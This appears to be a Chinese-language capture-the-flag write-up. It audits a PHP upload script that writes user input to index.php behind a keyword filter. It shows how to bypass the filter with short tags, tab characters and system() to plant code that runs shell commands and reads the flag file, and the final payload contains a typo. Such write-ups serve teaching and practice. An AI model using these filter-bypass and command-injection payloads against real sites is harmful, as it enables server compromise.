代码审计,短标签的使用,命令执行一些bypass
操作,替换空格,只有一行php代码最后可以不需要分号
php
代码写入到index.php
里,在写入代码之前会对php代码进行过滤,上传的目录文件是根据请求头自动生成的。下面就是代码
error_reporting(0);
highlight_file(__FILE__);
function check($input){
if(preg_match("/'| |_|php|;|~|\\^|\\+|eval|{|}/i",$input)){
// if(preg_match("/'| |_|=|php/",$input)){
die('hacker!!!');
}else{
return $input;
}
}
function waf($input){
if(is_array($input)){
foreach($input as $key=>$output){
$input[$key] = waf($output);
}
}else{
$input = check($input);
}
}
$dir = 'sandbox/' . md5($_SERVER['REMOTE_ADDR']) . '/';
if(!file_exists($dir)){
mkdir($dir);
}
switch($_GET["action"] ?? "") {
case 'pwd':
echo $dir;
break;
case 'upload':
$data = $_GET["data"] ?? "";
waf($data);
file_put_contents("$dir" . "index.php", $data);
}
?>
action
的参数值为pwd即输出index.php
所在的目录,传递upload,会将传入的data
的参数值写入到index.php
文件,但在此之前需要进入waf
函数进行判断switch($_GET["action"] ?? "") {
case 'pwd':
echo $dir;
break;
case 'upload':
$data = $_GET["data"] ?? "";
waf($data);
file_put_contents("$dir" . "index.php", $data);
}
waf
函数主要是判断传入的参数值是否是数组,若是数组会将参数分开分别进入到check
函数进行参数过滤function waf($input){
if(is_array($input)){
foreach($input as $key=>$output){
$input[$key] = waf($output);
}
}else{
$input = check($input);
}
}
check
函数,该函数就是对传入参数进行过滤的函数,很显然过滤了很多比较关键的字符对于空格替换的字符还是很多的,可以使用%09 %20进行替换,也可以使用一些特殊符号和变量
对于过滤_,意味着不能使用一句话木马的格式了
过滤php字符串,可以使用短标签来进行绕过
过滤;,根据php代码特性,如果只有一行代码,在最后也可以不需要分号
过滤eval函数,还可以使用其他函数,比如直接system()函数进行命令执行
function check($input){
if(preg_match("/'| |_|php|;|~|\\^|\\+|eval|{|}/i",$input)){
// if(preg_match("/'| |_|=|php/",$input)){
die('hacker!!!');
}else{
return $input;
}
}
system
函数进行命令执行/?action=upload&data==system("ls")?>
查看当前目录的文件。再传入action=pwd
查看上传的目录,访问目录下的index.php
查看到命令的回显结果paylaod
尝试查看根目录下的文件,由于被过滤了空格,可以使用%09
进行绕过,再次查看index.php
文件发现flag
文件system
的命令参数,使用cat
查看flag
文件,再访问index.php
,拿下flag
/?action=pwd
/?action=upload&data=<?=system("ls")?>
/?action=upload&data=<?=system("ls%09/")?>
/?action=upload&data=<?=system("cat%/flllllll1112222222lag")?>